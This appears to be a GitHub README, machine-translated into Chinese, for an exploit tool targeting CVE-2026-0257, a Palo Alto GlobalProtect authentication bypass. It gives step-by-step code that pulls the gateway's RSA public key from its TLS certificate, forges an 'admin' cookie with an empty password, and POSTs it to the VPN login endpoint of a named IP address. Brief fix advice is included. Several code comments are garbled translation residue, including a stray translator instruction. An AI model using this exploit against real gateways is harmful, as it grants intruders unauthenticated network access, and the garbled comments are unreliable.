tushargurav28/CVE-2026-0257

GitHub: tushargurav28/CVE-2026-0257

CVE-2026-0257漏洞利用工具

Stars: 2 | Forks: 0

# CVE-2026-0257:GlobalProtect 认证绕过 ## 概述 此漏洞通过使用服务器公开可用的 TLS 证书伪造认证 cookie,实现了对 Palo Alto GlobalProtect 网关/门户的 **未认证 VPN 访问**。 ## 核心漏洞(为什么它能工作) GlobalProtect 使用一个 **预认证 cookie** (`portal-userauthcookie`) 允许客户端进行认证。这里有一个致命的缺陷: ``` Normal Flow: 1. Client authenticates (username + password) 2. Server generates a cookie → encrypts it with server's RSA PUBLIC key 3. Client stores the encrypted cookie 4. On reconnect, client sends the cookie → server decrypts with PRIVATE key → trusts it The Bug: The server ONLY checks if the cookie decrypts successfully with its private key. It does NOT verify WHO encrypted it or if the plaintext content is legitimate. ``` **由于 RSA 公钥嵌入在服务器的 TLS 证书中(任何人连接都可以公开访问),任何攻击者都可以:** 1. 从 TLS 证书中获取公钥 2. 使用任何用户名伪造一个 cookie 3. 使用公钥加密它 4. 发送到服务器 → 服务器解密它 → 接受它为有效 这是一个 **教科书式的错误认证** 缺陷——在需要 **数字签名** 或 **HMAC** 的地方使用了加密。 ## 漏洞利用链(5 步) ``` flowchart TD A["Step 1: Raw TCP Connect"] --> B["Step 2: Send Crafted TLS ClientHello"] B --> C["Step 3: Parse ServerHello → Extract DER Certificates"] C --> D["Step 4: Walk ASN.1 to Extract RSA Public Key"] D --> E["Step 5: Forge PKCS#1 v1.5 Encrypted Cookie"] E --> F["Step 6: POST to /ssl-vpn/login.esp"] F --> G{"Server Decrypts Cookie"} G -->|"Valid plaintext"| H[" Auth Bypass — VPN Access Granted"] G -->|"Invalid"| I[" Rejected"] ``` ## 第 1 步:构建原始 TLS ClientHello ### 传输格式 一个 TLS 记录看起来像这样: ``` ┌──────────────────────────────────────────────────┐ │ TLS Record Header (5 bytes) │ │ ┌──────┬──────────┬────────────┐ │ │ │ Type │ Version │ Length │ │ │ │ 0x16 │ 0x03 01 │ 2 bytes │ │ │ │(Hshk)│(TLS 1.0) │ │ │ │ └──────┴──────────┴────────────┘ │ │ │ │ Handshake Message │ │ ┌──────┬────────────┬─────────────────────────┐ │ │ │ Type │ Length │ Body │ │ │ │ 0x01 │ 3 bytes │ (ClientHello) │ │ │ │(CHlo)│ │ │ │ │ └──────┴────────────┴─────────────────────────┘ │ └──────────────────────────────────────────────────┘ ``` ### 代码:[build_hello()](file:///Users/tushargurav/Security-Engineering-Interview-Study/Web%20Security/test.py#L75-L156) ClientHello 主体包含: | 字段 | 值 | 目的 | |-------|-------|---------| | 版本 | `0x03 0x03` (TLS 1.2) | 告诉服务器我们支持 TLS 1.2 | | 随机数 | 4 字节时间戳 + 28 个随机字节 | 握手的 nonce | | 会话 ID | `0x00` (空) | 无会话恢复 | | 密码套件 | 9 个套件,包括 `TLS_RSA_WITH_AES_128_CBC_SHA` | **密钥**:我们包含仅 RSA 的密码套件,以强制服务器使用其 RSA 证书 | | 压缩 | `0x00` (无) | 必需的 | **包含的扩展:** | 扩展 | ID | 目的 | |-----------|----|---------| | SNI (服务器名称指示) | `0x0000` | 告诉服务器我们连接到的主机名 | | 签名算法 | `0x000D` | 我们支持的签名算法 | | 支持的组 | `0x000A` | 我们支持的 EC 曲线(P-256,P-384,P-521) | | EC 点格式 | `0x000B` | 未压缩的 EC 点 | ## 第 2 步:接收并解析服务器的响应 在发送 ClientHello 后,服务器会发送多个 TLS 记录: ``` Server Response: ┌─────────────────┐ │ ServerHello │ (handshake type 2) ├─────────────────┤ │ Certificate │ (handshake type 11) ← WE WANT THIS ├─────────────────┤ │ ServerKeyExchange│ (handshake type 12, optional) ├─────────────────┤ │ ServerHelloDone │ (handshake type 14) ← STOP SIGNAL └─────────────────┘ ``` ### 代码:[parse_certs()](file:///Users/tushargurav/Security-Engineering-Interview-Study/Web%20Security/test.py#L161-L194) **阶段 1 — 移除 TLS 记录头:** 每个 TLS 记录都有一个 5 字节的头:`[type(1)] [version(2)] [length(2)]`。代码遍历所有记录,对于任何 `type == 22`(握手)的记录,它将它们的有效负载连接起来: ``` while i + 5 <= len(data): t = data[i] # content type rl = (data[i + 3] << 8) | data[i + 4] # record length if t == 22: # Handshake hs.extend(data[i + 5: i + 5 + rl]) # grab payload i += 5 + rl # next record ``` **阶段 2 — 找到证书消息(类型 11):** 在握手流中,每个消息都有一个 4 字节的头:`[type(1)] [length(3)]`。我们寻找 `type == 11`: ``` while j + 4 <= len(hs): ht = hs[j] # handshake type hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3] # 3-byte length if ht == 11: # Certificate! # Parse the certificate list inside ``` **阶段 3 — 提取单个 DER 证书:** 证书消息包含一个证书列表,每个证书都由一个 3 字节长度前缀: ``` Certificate Message Body: ┌───────────────────────────────────┐ │ Total Certs Length (3 bytes) │ ├───────────────────────────────────┤ │ Cert 1 Length (3 bytes) │ │ Cert 1 DER data (variable) │ ├───────────────────────────────────┤ │ Cert 2 Length (3 bytes) │ │ Cert 2 DER data (variable) │ ├───────────────────────────────────┤ │ ... │ └───────────────────────────────────┘ ``` 在我们的测试运行中,我们得到了 **3 个证书**(叶证书,中间 CA,根 CA)。 ### 代码:[has_done()](file:///Users/tushargurav/Security-Engineering-Interview-Study/Web%20Security/test.py#L197-L212) 此函数扫描 `ServerHelloDone`(握手类型 `14`),这告诉我们服务器已完成发送,我们可以停止读取。 ## 第 3 步:解析 X.509 证书(ASN.1/DER) X.509 证书以 **DER**(区分编码规则)编码,这是一种基于 **ASN.1**(抽象语法表示法一)的二进制格式。 ### ASN.1 TLV(标签-长度-值)格式 DER 中的每个元素: ``` ┌─────┬────────┬───────────────────┐ │ Tag │ Length │ Value (payload) │ │ 1B │ 1-5B │ variable │ └─────┴────────┴───────────────────┘ ``` **长度编码:** - 如果字节 < `0x80`:长度是那个字节直接(短形式) - 如果字节 ≥ `0x80`:低 7 位 = 编码长度的后续字节数(长形式) ``` # 重要:保留所有专业术语、专有名词、工具/库/框架名称和技术术语的原英文形式。 # 运行 Naabu ``` ### 代码:[rd_tl()](file:///Users/tushargurav/Security-Engineering-Interview-Study/Web%20Security/test.py#L217-L226) ``` def rd_tl(d, p): tag = d[p]; p += 1 length = d[p]; p += 1 if length & 0x80: # long form? nb = length & 0x7F # how many bytes follow length = 0 for _ in range(nb): length = (length << 8) | d[p] p += 1 return {"tag": tag, "len": length, "pos": p} # pos = start of value ``` ### X.509 证书结构 ``` Certificate ::= SEQUENCE { ← tag 0x30 tbsCertificate SEQUENCE { ← tag 0x30 version [0] EXPLICIT ← tag 0xA0 (optional) serialNumber INTEGER ← tag 0x02 signature SEQUENCE (AlgorithmID) ← tag 0x30 issuer SEQUENCE ← tag 0x30 validity SEQUENCE ← tag 0x30 subject SEQUENCE ← tag 0x30 subjectPublicKeyInfo SEQUENCE { ← tag 0x30 ★ WE WANT THIS ★ algorithm SEQUENCE { ← tag 0x30 algorithm OID ← tag 0x06 parameters (optional) } subjectPublicKey BIT STRING { ← tag 0x03 RSAPublicKey SEQUENCE { ← tag 0x30 modulus INTEGER ← tag 0x02 ★ n ★ exponent INTEGER ← tag 0x02 ★ e ★ } } } ... } ... } ``` ### 代码:[get_rsa_key()](file:///Users/tushargurav/Security-Engineering-Interview-Study/Web%20Security/test.py#L229-L280) 该函数通过读取标签+长度并跳过我们不需要的字段来遍历 DER 树: ``` # Kubernetes 设置 r = rd_tl(der, 0) # → SEQUENCE # API 参考 r = rd_tl(der, p) # → SEQUENCE # 输入外部 SEQUENCE(证书) r = rd_tl(der, p) if r["tag"] == 0xA0: # version field present → skip it p = r["pos"] + r["len"] r = rd_tl(der, p) # 输入 tbsCertificate SEQUENCE # 检查可选版本标签 # 跳过:serial → sigAlg → issuer → validity → subject # (仅读取每个 TLV 并跳过) oid = der[r["pos"]: r["pos"] + r["len"]] rsa_oid = [0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01] # 现在我们处于 subjectPublicKeyInfo if oid != rsa_oid: return None # Not RSA (probably ECDSA) # 读取 AlgorithmIdentifier → 检查 OID 是否为 RSA # ↑ 这是 1.2.840.113549.1.1.1 = rsaEncryption ``` **重要细节——模数中的前导零字节:** ``` if der[ms] == 0 and ml > 1: ms += 1 # strip leading 0x00 ml -= 1 ``` DER 将整数编码为有符号的。如果模数的高位是 1,则 prepending 一个 `0x00` 字节以保持其为正数。我们剥离它,因为我们需要原始的无符号值。 **对于我们的目标:** 模数 = 2048 位(256 字节),指数 = 65537 (`0x10001`) ## 第 4 步:伪造认证 cookie(PKCS#1 v1.5) 这是漏洞的核心。 ### Cookie 包含的内容 明文 cookie 格式如下: ``` admin;;Windows;;1748928001;0.0.0.0 │ │ │ │ │ │ │ └── Client IP │ │ └── Unix timestamp │ └── OS identifier └── Username (we choose "admin") ``` ### PKCS#1 v1.5 加密填充(类型 2) 在 RSA 加密之前,明文必须填充到密钥大小(2048 位 RSA 的 256 字节): ``` ┌──────┬──────┬──────────────────────────┬──────┬─────────────────────┐ │ 0x00 │ 0x02 │ Random non-zero padding │ 0x00 │ Plaintext message │ │ │ │ (≥ 8 bytes) │ │ │ └──────┴──────┴──────────────────────────┴──────┴─────────────────────┘ 1B 1B padLen bytes 1B message bytes Total = 256 bytes (= key size) ``` ### 代码:[forge()](file:///Users/tushargurav/Security-Engineering-Interview-Study/Web%20Security/test.py#L285-L296) ``` def forge(n, e, kl, username): ts = str(int(time.time())) pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0") pad_len = kl - len(pt) - 3 # 3 = 0x00 + 0x02 + 0x00 separator if pad_len < 8: # PKCS#1 requires ≥ 8 pad bytes return "" em = bytearray([0x00, 0x02]) # Type 2 padding header for _ in range(pad_len): em.append(random.randint(1, 255)) # non-zero random bytes! em.append(0x00) # separator cat(em, pt) # append plaintext # RSA encryption: ciphertext = em^e mod n return b64_encode(bi2bytes(modpow(bytes2bi(em), e, n), kl)) ``` **RSA 数学:** ``` ciphertext = plaintext^e mod n Where: plaintext = the padded message as a big integer (256 bytes → ~2048 bits) e = 65537 (public exponent) n = the 2048-bit modulus from the certificate ``` ## 第 5 步:将伪造的 cookie 发送到登录端点 ### 代码:[test_cookie()](file:///Users/tushargurav/Security-Engineering-Interview-Study/Web%20Security/test.py#L305-L343) 伪造的 cookie 以标准 HTTPS POST 发送到 GlobalProtect 登录端点: ``` POST /ssl-vpn/login.esp HTTP/1.1 Host: 1.255.199.2 Content-Type: application/x-www-form-urlencoded User-Agent: GlobalProtect/6.0.0 Content-Length: ... Connection: close prot=https &server=1.255.199.2 &user=admin &passwd= ← empty! no password needed &context=gateway ← or "portal" &clientos=Windows &clientgpversion=6.0.0 &portal-userauthcookie= &portal-prelogonuserauthcookie= ``` 漏洞测试了两个端点: 1. **网关** (`context=gateway`): 直接 VPN 隧道访问 2. **门户** (`context=portal`): 门户配置访问 ### 成功检测 ``` def is_gateway_success(resp, user): # Check for HTTP 200 # Check for Success in XML body # OR tag containing the username ``` ## 第 6 步:服务器端发生的事情 ``` sequenceDiagram participant A as Attacker participant GP as GlobalProtect Server A->>GP: TCP Connect (port 443) A->>GP: Raw TLS ClientHello (hand-crafted) GP->>A: ServerHello + Certificate (contains RSA public key) GP->>A: ServerHelloDone Note over A: Extracts RSA public key (n, e) from cert Note over A: Forges cookie: RSA_encrypt("admin;;Windows;;ts;0.0.0.0", pubkey) A->>GP: POST /ssl-vpn/login.esp (over TLS) Note over GP: Receives portal-userauthcookie Note over GP: Decrypts with RSA private key Note over GP: Gets "admin;;Windows;;ts;0.0.0.0" Note over GP: ⚠️ Trusts it blindly — no signature check! GP->>A: HTTP 200 OK + Success Note over A: 🎉 Full VPN access as "admin" ``` ## 为什么这是一个毁灭性的漏洞 | 方面 | 影响 | |--------|--------| | **无需凭证** | 公钥实际上是 *公开的*——任何连接的人都可以得到它 | | **无需暴力破解** | 每次尝试一个请求,在易受攻击的服务器上总是成功 | | **预认证** | 可在登录之前利用——不需要现有会话 | | **用户冒充** | 攻击者可以选择任何用户名(管理员,CEO 等) | | **完整 VPN 访问** | 一旦认证,攻击者就在内部网络中 | | **未记录密码失败** | 由于认证是通过 cookie 进行的,因此失败的密码警报不会触发 | ## 修复方案(Palo Alto 应该做什么) 基本问题是使用 **加密进行认证**。正确的做法: 1. **数字签名**:服务器应该使用其私钥 **签名** cookie,而不是解密加密的 cookie。然后在重新认证时验证签名。 2. **HMAC**:使用服务器端密钥对 cookie 有效负载进行 HMAC。只有服务器知道密钥,因此 cookie 不能被伪造。 3. **令牌绑定**:将 cookie 绑定到原始认证会话,以便它不能从不同的上下文中重放。 ``` Broken: cookie = RSA_encrypt(userdata, public_key) ← anyone can do this! Fixed: cookie = HMAC(server_secret, userdata) ← only server can do this ``` ## 总结:完整数据流 ``` 1. TCP connect to target:443 2. Send hand-crafted ClientHello (raw bytes over TCP, NOT TLS) 3. Receive ServerHello + Certificate + ServerHelloDone 4. Parse TLS records → extract handshake messages 5. Find Certificate message (type 11) → extract DER-encoded certs 6. Walk ASN.1/DER structure of leaf cert: SEQUENCE → SEQUENCE → [version] → serial → sigAlg → issuer → validity → subject → subjectPublicKeyInfo → algorithmIdentifier (check OID = RSA) → BIT STRING → SEQUENCE → modulus (n) + exponent (e) 7. Build plaintext: "admin;;Windows;;1748928001;0.0.0.0" 8. PKCS#1 v1.5 pad: 0x00 0x02 [random≥8] 0x00 [plaintext] 9. RSA encrypt: ciphertext = padded^e mod n 10. Base64 encode → URL encode 11. POST to /ssl-vpn/login.esp with forged cookie (over proper TLS) 12. Server decrypts → trusts blindly → grants VPN access ```
标签:GitHub Advanced Security, GlobalProtect, Palo Alto Networks, RSA加密, TLS漏洞, VPN攻击, VPN连接, 加密算法, 威胁模拟, 安全事件响应, 安全加固, 安全测试, 安全漏洞, 安全漏洞管理, 安全防护, 底层编程, 攻击性安全, 攻击步骤, 攻击链, 数字证书, 漏洞编号CVE-2026-0257, 网络安全, 网络安全审计, 网络访问控制, 认证机制, 认证绕过, 逆向工具, 隐私保护